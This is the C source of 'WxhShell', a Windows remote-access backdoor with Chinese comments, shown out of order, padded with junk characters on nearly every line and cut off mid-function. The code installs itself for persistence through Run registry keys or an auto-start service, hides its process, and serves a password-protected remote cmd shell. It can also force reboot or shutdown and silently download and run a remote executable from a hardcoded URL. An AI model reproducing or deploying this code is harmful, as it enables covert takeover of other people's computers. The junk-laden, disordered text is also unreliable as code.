    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); . :a<2sp6  
    if(Boot(SHUTDOWN)) iP#=:HZu;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a+Ab]m8`  
    else { gu<V (M\  
    closesocket(wsh); Y)Tl<  
    ExitThread(0); g<a<*)&  
    } p411 `]Zf  
    break; ")%r}:0  
    } xA #H0?a]  
  // 获取shell DP*@dFU"  
  case 's': { hcyO97@r  
    CmdShell(wsh); /_*>d)  
    closesocket(wsh); YeyGN  
    ExitThread(0); R ]P;sk5  
    break; eFFc9'o  
  } 9i%9   
  // 退出 e_rzA  
  case 'x': { !` 26\@1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _a5(s2wq+  
    CloseIt(wsh); HnU Et/  
    break; )yj:PY]  
    } OCK>%o$[  
  // 离开 *aRX \ TnN  
  case 'q': { H;S%Y`V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :=fvZAWD  
    closesocket(wsh); >qh?L#Fk  
    WSACleanup(); |" 7 Y52d  
    exit(1); O+"ac /r  
    break; !9 f4R/ ?  
        } u #~ ;&D*q  
  } T)SbHp Y  
  } SlaDt  
H l<$a"K7\  
  // 提示信息 WG5W0T_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7bF*AYM  
} _^\$" nw  
  } n:4uA`Vg  
| vu>;*K  
  return; XvKFPr0~  
} -JV~[-,  
X?o( b/F -  
// shell模块句柄 6rX_-Mm6w  
int CmdShell(SOCKET sock) Bs!4H2@{(]  
{ `ifiL   
STARTUPINFO si; *b)Q5dw@1  
ZeroMemory(&si,sizeof(si)); _MfD   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |vILp/"9=W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nE|@IGH  
PROCESS_INFORMATION ProcessInfo; =6T 4>rP  
char cmdline[]="cmd"; ~cqryr9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,pt%) c  
  return 0; Qe$k3!  
} e3m*i}K}  
:&w{\-0{  
// 自身启动模式 ^^Jnv{)  
int StartFromService(void) lE5v-z? &|  
{ $_X|, v9  
typedef struct \a|L/9%  
{ @pza>^wk  
  DWORD ExitStatus; %f ju G  
  DWORD PebBaseAddress; r\M9_s8  
  DWORD AffinityMask; <{J5W6  
  DWORD BasePriority; 'Kbl3fUF  
  ULONG UniqueProcessId; {nMAm/kyj  
  ULONG InheritedFromUniqueProcessId; P?ep]  
}   PROCESS_BASIC_INFORMATION; Qt+:4{He  
,/,9j{|"j  
PROCNTQSIP NtQueryInformationProcess; #kmh:P  
#exss=as/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o>lms t%<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #AViM_u  
}5 9U}@xC  
  HANDLE             hProcess; , c;eN  
  PROCESS_BASIC_INFORMATION pbi; NgZUnh3{  
=VP=|g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e}{U7xQm1  
  if(NULL == hInst ) return 0; #D%ygh=  
f [o%hCS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -9Ws=r0R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;/8{N0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >cR)?P/o  
+M\8>/0oA  
  if (!NtQueryInformationProcess) return 0; uB.-t^@  
kBEmmgL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q(@IK&v  
  if(!hProcess) return 0; `,Vv["^PB  
cma*Dc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eC`pnE  
u<tk G B  
  CloseHandle(hProcess); uG J"!K  
RMXzU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T1Ta?b  
if(hProcess==NULL) return 0; nBLj [  
QLq@u[A  
HMODULE hMod; xi'>mIT  
char procName[255]; 3:CO{=`\7B  
unsigned long cbNeeded; ":W%,`@$  
#gbH^a'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m}Y0xV9  
rAqxTdF  
  CloseHandle(hProcess);  lhLGG  
o|8`>!hF  
if(strstr(procName,"services")) return 1; // 以服务启动 i6PM<X,{;  
dE=Ue#1U@5  
  return 0; // 注册表启动 d]v+mVAyE  
} ]F*3"y?)2  
M:SO2Czz  
// 主模块 3`V1XE.;  
int StartWxhshell(LPSTR lpCmdLine) '\DSTr:N  
{ }xb=<  
  SOCKET wsl; M#jN-ix  
BOOL val=TRUE; P&A|PY,P  
  int port=0; df*w>xS  
  struct sockaddr_in door; Xa 9TS"  
\c`oy=qY0  
  if(wscfg.ws_autoins) Install(); CQg X=!q  
] Uc`J8p,  
port=atoi(lpCmdLine); ZU&"73   
3 /6/G}s  
if(port<=0) port=wscfg.ws_port; %"$@%"8;3  
F@<0s&)1  
  WSADATA data; :VA.QrKW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !Jfs?Hy  
p='-\M74K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .V'V:;BE%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j5 wRGn3  
  door.sin_family = AF_INET; ;e8V +h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =([av7  
  door.sin_port = htons(port); VV_l$E$  
;&;W T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D%/8{b:  
closesocket(wsl); vR7HF*8  
return 1; |FR3w0o  
} &lc8G  
tx7~S Ur  
  if(listen(wsl,2) == INVALID_SOCKET) { `cB_.&  
closesocket(wsl); w5C*L)l  
return 1; ctmQWrk|B  
} g<*jlM1r  
  Wxhshell(wsl); rjA@U<o  
  WSACleanup(); |VH!)vD  
F 8yF  
return 0; '{?C{MK3Q  
v@ C,RP9  
} (g8*d^u#PO  
JHV)ZOO  
// 以NT服务方式启动 CX/(o]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DtCEm(b0  
{ J@"utY6N  
DWORD   status = 0; IfdI|ya  
  DWORD   specificError = 0xfffffff; 7G2PMe;$m  
#} ,x @]p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X~T/qFS   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FVWfDQ$&v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q%ad q-B  
  serviceStatus.dwWin32ExitCode     = 0; w:=V@-S 8  
  serviceStatus.dwServiceSpecificExitCode = 0; 70W"G X&  
  serviceStatus.dwCheckPoint       = 0; oh8L`=>&a  
  serviceStatus.dwWaitHint       = 0; N_wp{4 0/  
dz9Y}\2tf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &]p}+{ (>  
  if (hServiceStatusHandle==0) return; P~$< X  
&k>aP0k"  
status = GetLastError(); lP<I|O=z  
  if (status!=NO_ERROR) -$8.3\6h  
{ eb:A1f4L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a=]W zlz  
    serviceStatus.dwCheckPoint       = 0; :J_oj:0r"f  
    serviceStatus.dwWaitHint       = 0; {ShgJ ;! Q  
    serviceStatus.dwWin32ExitCode     = status; %uDG75KP{  
    serviceStatus.dwServiceSpecificExitCode = specificError; M].8HwC+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z| 6{T  
    return; sRRI3y@  
  } %CH6lY=lI  
, |E$'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HxwlYx,4  
  serviceStatus.dwCheckPoint       = 0; 5 9 2;W-y  
  serviceStatus.dwWaitHint       = 0; rGwIcx(%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >l1 r,/\\  
} x"B' zP  
Utl t<  
// 处理NT服务事件,比如:启动、停止 Y*YFB|f?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eD#XDK  
{ [I+9dSM1t  
switch(fdwControl) 'ig, ATY  
{ _9If/RD  
case SERVICE_CONTROL_STOP: j'rS&BI G  
  serviceStatus.dwWin32ExitCode = 0; dSK 0h(8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u=K2Q4  
  serviceStatus.dwCheckPoint   = 0; ~UMOT!4}3  
  serviceStatus.dwWaitHint     = 0; t8J/\f=  
  { RVM&4#E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PXYE;*d(  
  } {[OwMk  
  return; 1 =GI&f2I  
case SERVICE_CONTROL_PAUSE: kA?_%fi1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vs9?+3  
  break; Lk, +Tfk"  
case SERVICE_CONTROL_CONTINUE: MgJ5B(c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]#eh&jw  
  break; [/9(NUf  
case SERVICE_CONTROL_INTERROGATE: W4(?HTWZ  
  break; )m#']c:rg  
}; fj']?a!m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?T'][q  
} DguB  
!q /5yEJ>h  
// 标准应用程序主函数  M[P^]J@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) POd/+e9d  
{ bg7n  
:=.*I  
// 获取操作系统版本 ;)/@Xx  
OsIsNt=GetOsVer(); d0UZ+ RR#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [#b2%G1  
HtBF=Boq  
  // 从命令行安装 \9m*(_Qf  
  if(strpbrk(lpCmdLine,"iI")) Install(); :=!Mh}i  
A" !n1P  
  // 下载执行文件 5w3Fqu>39?  
if(wscfg.ws_downexe) {  H!eh J$[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y:so L:(F  
  WinExec(wscfg.ws_filenam,SW_HIDE); s (PY/{8  
} 4M`Xrfwm'[  
2i:zz? 'p`  
if(!OsIsNt) { tbur$ 00  
// 如果时win9x,隐藏进程并且设置为注册表启动 z^`]7i  
HideProc(); P[i\e7mR  
StartWxhshell(lpCmdLine); 2P}I'4C-  
} f1cl';  
else SGf9U^ds  
  if(StartFromService()) P;U@y" s  
  // 以服务方式启动 zixE Mi[8  
  StartServiceCtrlDispatcher(DispatchTable); )x\z@g  
else '`o[+.  
  // 普通方式启动 19I:%$U3  
  StartWxhshell(lpCmdLine); ^Q2ZqAf^a  
-u6#-}S  
return 0; gxM[V>[  
} #+G`!<7/@f  
uWc:jP  
$ KQ,}I  
Auac>')&Q  
=========================================== #93}E Y  
9k `~x1Y)  
"$@,n7 k  
\y~)jq:d"  
'p)QyL`d  
{nRUH*(d9  
" I'A:J  
eP|)SU  
#include <stdio.h> ,)$Wm-  
#include <string.h> mxL;;-  
#include <windows.h> TzF0/T!  
#include <winsock2.h> *.8:'F  
#include <winsvc.h> *8-p7,D  
#include <urlmon.h> otnV-7)@  
0vckoE  
#pragma comment (lib, "Ws2_32.lib") _S5gcPcF"  
#pragma comment (lib, "urlmon.lib") V/-MIH7SF  
cjT[P"5$  
#define MAX_USER   100 // 最大客户端连接数 /djACA  
#define BUF_SOCK   200 // sock buffer 7^wE$7hS  
#define KEY_BUFF   255 // 输入 buffer cjY@Ot*i$  
4A  o{M  
#define REBOOT     0   // 重启 ND,`QjmZ  
#define SHUTDOWN   1   // 关机 _LLshV3  
4x]NUt  
#define DEF_PORT   5000 // 监听端口 hAAUecx  
U.Hdbmix  
#define REG_LEN     16   // 注册表键长度 x]' H jTqX  
#define SVC_LEN     80   // NT服务名长度 A$m<@%Sz  
m/?h2McS  
// 从dll定义API ~XQ$aRl&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N cM3P G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8MQ bLj'H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *`.LA@bHU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yA}nPXrd  
1 ypjyu  
// wxhshell配置信息 jkCHi@  
struct WSCFG { *1,=qRjL  
  int ws_port;         // 监听端口 )0F^NU  
  char ws_passstr[REG_LEN]; // 口令 &#,v_B)a_E  
  int ws_autoins;       // 安装标记, 1=yes 0=no E{oB2;P  
  char ws_regname[REG_LEN]; // 注册表键名 swt\Ru6,  
  char ws_svcname[REG_LEN]; // 服务名 4k*qVOBa6R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %mmxA6I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T#N80BH[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Nuq(4Yf1W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zKMv7;s?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jrcc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rk{$S"8S_  
J[o${^  
}; FvA|1c  
@7X\tV.Z  
// default Wxhshell configuration K*:Im #Q  
struct WSCFG wscfg={DEF_PORT, 1:5P%$?b  
    "xuhuanlingzhe", un&>  
    1, 2<m Q,,j  
    "Wxhshell", ]!-R<[b 6  
    "Wxhshell", f~iML5lG  
            "WxhShell Service", 1O4D+0@  
    "Wrsky Windows CmdShell Service", Vy r] x  
    "Please Input Your Password: ", 2{gwY85:  
  1, 2D_6  
  "http://www.wrsky.com/wxhshell.exe", D:6N9POB  
  "Wxhshell.exe" C\/b~HU  
    }; m&ZJqsZIL  
R/rcXX7%  
// 消息定义模块 9Q=>MOB-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tz2x9b\82  
char *msg_ws_prompt="\n\r? for help\n\r#>"; > XZg@?Iw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^@Y9!G=  
char *msg_ws_ext="\n\rExit."; &gJW6 <  
char *msg_ws_end="\n\rQuit."; 6ku8`WyoF  
char *msg_ws_boot="\n\rReboot..."; w&9F>`VET  
char *msg_ws_poff="\n\rShutdown..."; d(\1 } l  
char *msg_ws_down="\n\rSave to "; m]e0X*Kg  
vj(@.uU)  
char *msg_ws_err="\n\rErr!"; sgD@}":m  
char *msg_ws_ok="\n\rOK!"; hsz$S:am  
x@Sra@  
char ExeFile[MAX_PATH]; %Au T8  
int nUser = 0; nE^wxtY  
HANDLE handles[MAX_USER]; k=FcPF"  
int OsIsNt; pBvo M={2!  
W*3o|x   
SERVICE_STATUS       serviceStatus; Ipg\9*c`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ym[+Rw  
,A^L=+  
// 函数声明 _3I3AG0e  
int Install(void); @X|ok*v`  
int Uninstall(void); ~V!EtZG$  
int DownloadFile(char *sURL, SOCKET wsh); %{Xm5#m  
int Boot(int flag); PQQgDtiH  
void HideProc(void); ?'T"?b<  
int GetOsVer(void); HoMQt3C  
int Wxhshell(SOCKET wsl); Qk|( EFQ9  
void TalkWithClient(void *cs); d{?)q  
int CmdShell(SOCKET sock); e5FCqNip'  
int StartFromService(void); #%qqL  
int StartWxhshell(LPSTR lpCmdLine); ^?#@[4?"  
]y$)%J^T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [;Vi~$p|Eo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (tTLK0V-|3  
e1oFnu2R  
// 数据结构和表定义 )!BB/'DRQ  
SERVICE_TABLE_ENTRY DispatchTable[] = KqFmFcf|  
{ _AVy:~/  
{wscfg.ws_svcname, NTServiceMain}, +V6j`  
{NULL, NULL} rknzo]N,  
}; MG;4M>H  
ZjE~W>pkQ  
// 自我安装 LxIuxt=X|p  
int Install(void) `Nkx7Z~w:  
{ 7eTA`@v5A  
  char svExeFile[MAX_PATH]; ;.L!%$0i#  
  HKEY key; `Uu^I   
  strcpy(svExeFile,ExeFile); G &m>Ov$#&  
[;)~nPjI  
// 如果是win9x系统,修改注册表设为自启动 :U7;M}0  
if(!OsIsNt) {  n})  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $&bU2]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DrW/KU,{+(  
  RegCloseKey(key); #@IQlqJfY7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n (9F:N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lqg7D\7j  
  RegCloseKey(key); w6%l8+{R  
  return 0; 5/*)+  
    } %`bLmfm  
  } ;<86P3S  
} y>?k<)nA{  
else { \XZU'JIO  
*{HGLl|=  
// 如果是NT以上系统,安装为系统服务 *sIi$1vHu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h\Z3yAYd  
if (schSCManager!=0) hLu&lY  
{ o,iS&U"TC  
  SC_HANDLE schService = CreateService 4&#vU(-H  
  ( r7zf+a]  
  schSCManager, +SP! R[a  
  wscfg.ws_svcname, 7MR:X#2v>  
  wscfg.ws_svcdisp, @oUf}rMiDa  
  SERVICE_ALL_ACCESS, Lx9hq7<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FA5k45w L  
  SERVICE_AUTO_START, T9aTEsA[U  
  SERVICE_ERROR_NORMAL, '&rw=.cU  
  svExeFile, "-G.V#zI  
  NULL, [R roHXdk+  
  NULL, h}Fu"zK  
  NULL, Yk(NZ3O  
  NULL, z1z =P%WK  
  NULL \UV T_=Y  
  ); w;yar=n  
  if (schService!=0) :/n ?4K^  
  { 0tn7Rkiw  
  CloseServiceHandle(schService); A0'tCq]?0  
  CloseServiceHandle(schSCManager); cuJ / Vc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,:\zXESy4  
  strcat(svExeFile,wscfg.ws_svcname); RXIH(WiK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5|{  t+u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j(wY/Hl  
  RegCloseKey(key); "Wzij&WkQ  
  return 0; Z3&XTsq  
    } T#ecLD#  
  } P#M<CG9  
  CloseServiceHandle(schSCManager); e!O &~#'h}  
} (cbB %  
} X7(rg W8  
 M}_M_  
return 1; 0nF>zOmc  
} )AZ`R8-A  
+9& ulr  
// 自我卸载 IFHgD}kp%#  
int Uninstall(void) :Map,]]B_  
{ *}50q9)/  
  HKEY key; iX&Z  
2b vYF ;<r  
if(!OsIsNt) { 6PVlZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4jI*Y6Wkz  
  RegDeleteValue(key,wscfg.ws_regname); nJnO/~|  
  RegCloseKey(key); kr &:;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J\,@Bm|1n{  
  RegDeleteValue(key,wscfg.ws_regname); XF0*d~4  
  RegCloseKey(key); >QbI)if`1  
  return 0; mo97GW  
  } C 6:pY-  
} <ZN) /,4PS  
} x %!OP\  
else { &QHA_+88W  
av$\@4I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #dXZA>b9  
if (schSCManager!=0) ?L.p9o-S0  
{ vCrWA-q#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -F~9f>  
  if (schService!=0) Q'vIeG"o  
  { eFeCS{LV+  
  if(DeleteService(schService)!=0) { 'JXN*YO  
  CloseServiceHandle(schService); ?j ;,q  
  CloseServiceHandle(schSCManager); OmQuAG ^\x  
  return 0; oD|+X/F K  
  } cc#_acR  
  CloseServiceHandle(schService); YjMbd?v  
  } jw&}N6^G  
  CloseServiceHandle(schSCManager); *AJezhR  
} ! 7#froh  
} SK~;<>:37  
/3bca!O  
return 1; dh7)N}2  
} $(!D/bvJ  
NC#kI3{  
// 从指定url下载文件 2T{-J!k  
int DownloadFile(char *sURL, SOCKET wsh) wN%DM)*k  
{ Z2Y583D  
  HRESULT hr; wLg:YM"  
char seps[]= "/"; c"_H%x<[  
char *token; +RKE|*y  
char *file; o Q!g!xz  
char myURL[MAX_PATH]; uc{Qhw!;:  
char myFILE[MAX_PATH]; 7kew/8-  
4 Q>jP3  
strcpy(myURL,sURL); _<&K]e@dp  
  token=strtok(myURL,seps); 7xa@wa?!L  
  while(token!=NULL) >H]|A<9u(  
  { g#bfY=C  
    file=token; 5<>R dLo  
  token=strtok(NULL,seps); m$G?e 9{  
  } 2v; 7ohK  
D=Yag!1  
GetCurrentDirectory(MAX_PATH,myFILE); T3PaG\5B  
strcat(myFILE, "\\"); /m|&nl8"qe  
strcat(myFILE, file); [sh"?  
  send(wsh,myFILE,strlen(myFILE),0); I'wk/  
send(wsh,"...",3,0); d}A2I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vo^9qSX f  
  if(hr==S_OK) R2Fh^x  
return 0; clU3#8P!=  
else 9jJ/ RXp  
return 1; JCMEhI6d*  
Z~.]ZWj -  
} E;+OD&|  
1Tk\n  
// 系统电源模块 Yi! >8  
int Boot(int flag) z]4g`K+  
{ s Gm(Aax*0  
  HANDLE hToken; 6d?2{_},  
  TOKEN_PRIVILEGES tkp; Z6 |'k:R8  
qS`|=5f  
  if(OsIsNt) { F(kRAe;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %2FCpre;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I}CA-8  
    tkp.PrivilegeCount = 1; 0jx~_zq-j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fgz'C?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uvc{RP  
if(flag==REBOOT) { <38@b ]+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7ump:|  
  return 0; #j ~FA3O  
} jH#^O ;A  
else { pkMON}"mj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I3y4O^?  
  return 0; Bjrv;)XH  
} lPSDY&`P  
  } i(qYyO'  
  else { C%7,#}[U/  
if(flag==REBOOT) { 9/qS*Zdh)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uL{~(?U$  
  return 0; #K~j9DuR  
} XQoT},C  
else { ?9ho|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^T J   
  return 0; ("@V{<7(t  
} *'S%gR=Aa+  
} 6}FDLBA  
x@R A1&c  
return 1; CjukD%>sde  
} oL/^[TXjH  
XjM)/-w  
// win9x进程隐藏模块 X;a{JjN  
void HideProc(void) A2FU}Ym0=  
{ Kgio}y  
;{C{V{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~m=%a  
  if ( hKernel != NULL ) }u*@b10   
  { YD>>YaH_3@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~0$F V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pD.@&J~  
    FreeLibrary(hKernel); -{sv3|P>  
  } NqfDY  
*"bp}3$^^  
return; bB :X<  
} = 8e8!8  
T7_ SO,X  
// 获取操作系统版本 tcdn"]#U  
int GetOsVer(void) ^%/5-0?xE  
{ ~oR&0et  
  OSVERSIONINFO winfo; 10C91/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); av$_hEjo|D  
  GetVersionEx(&winfo); |MR?8A^"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N5_.m(:  
  return 1; 6&Ir0K/  
  else Tsp-]-)  
  return 0; }EG(!)u  
} p5rRhu/|k3  
4E(5Ccb  
// 客户端句柄模块 N~KRwsDH  
int Wxhshell(SOCKET wsl) zjZTar1Re  
{ (#"s!!b  
  SOCKET wsh; m8A_P:MQq  
  struct sockaddr_in client; aw~EK0yU   
  DWORD myID; qxr&_r  
`ha:Gf  
  while(nUser<MAX_USER) ,5"]K'Vce  
{ ti2_kYq  
  int nSize=sizeof(client); JX<W[P>M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n^)9QQ  
  if(wsh==INVALID_SOCKET) return 1; .v&h>@'m  
nY0UnlB`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3^UsyZS)  
if(handles[nUser]==0) !27]1%Aw  
  closesocket(wsh); >RnMzH/9  
else F|K4zhK  
  nUser++; A)\DPLAG  
  } 0qUap*fvC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1}M.}G2u/  
meD (ja  
  return 0; `v{X@x  
} i */U.'#  
E,:pIw  
// 关闭 socket 9o'6es..@Z  
void CloseIt(SOCKET wsh) .O.R  
{ q,&T$Tw  
closesocket(wsh); Y--8v#t  
nUser--; kw}1CXD  
ExitThread(0); 4^^rOi0  
} jch8d(`?d  
ay|{!MkQ  
// 客户端请求句柄 .4(f0RG  
void TalkWithClient(void *cs) *03/ :q^(  
{ v('d H"Y  
W>nb9Isp  
  SOCKET wsh=(SOCKET)cs; gD =5M\  
  char pwd[SVC_LEN]; * v]UgPk  
  char cmd[KEY_BUFF]; I@M^Wu]wW  
char chr[1]; mcG$V0D <{  
int i,j; ]*U')  
r,KK%B  
  while (nUser < MAX_USER) { -y.AJ~T  
~{Bi{aK2  
if(wscfg.ws_passstr) { [![ (h %  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A\.*+k/B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !c($C   
  //ZeroMemory(pwd,KEY_BUFF); f~9Y1|6  
      i=0; x@}Fn:c!5  
  while(i<SVC_LEN) { ,O!aRvzap  
Z$XpoDbOy  
  // 设置超时 LS$82UB&  
  fd_set FdRead; h'KtG<+  
  struct timeval TimeOut; .U%"oD  
  FD_ZERO(&FdRead); rv%[?Ml  
  FD_SET(wsh,&FdRead); 2f4c;YS  
  TimeOut.tv_sec=8; lHqx}n@e  
  TimeOut.tv_usec=0; jy2nn:1#^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :L0W"$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -=IM8Dny  
)&<ExJQ&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V,5}hQJ F  
  pwd=chr[0]; x&vD,|V!  
  if(chr[0]==0xd || chr[0]==0xa) { LL [>Uu?Y  
  pwd=0; e6'O,\  
  break; TMsoQ82  
  }  e5]AB  
  i++; MT0{hsuK9  
    } R*m" '|U  
IBh~(6  
  // 如果是非法用户,关闭 socket R!G7;m'N1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yk?q7xuT  
} G'f"w5%qZv  
$SR]7GZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AgJ~6tK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %T\x~)  
n<*]`do,w  
while(1) { %Ege^4PE  
J7vpCw2ni  
  ZeroMemory(cmd,KEY_BUFF); ,ua1xsZl&  
7`!( 8  
      // 自动支持客户端 telnet标准   qKC*j DW  
  j=0; NkI:  
  while(j<KEY_BUFF) { $:wM'&M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ![^h<Om  
  cmd[j]=chr[0]; Jo<6M'  
  if(chr[0]==0xa || chr[0]==0xd) { o+TZUMm  
  cmd[j]=0; ,eCXT=6  
  break; @D=`iG%  
  } 7d)' y  
  j++; nDy=ZsK  
    } m)}MkC-  
aM!#  
  // 下载文件 G - WJlu  
  if(strstr(cmd,"http://")) { I_7EfAqg(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); It-*CD9  
  if(DownloadFile(cmd,wsh)) q2vz#\A?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); He3zV\X[Z  
  else q/79'>`|ai  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4&fnu/,Z  
  } l.l~K%P'h  
  else { W^Y0>W~  
; bE6Y]"Rz  
    switch(cmd[0]) { B$EP'5@b  
  or`stBx  
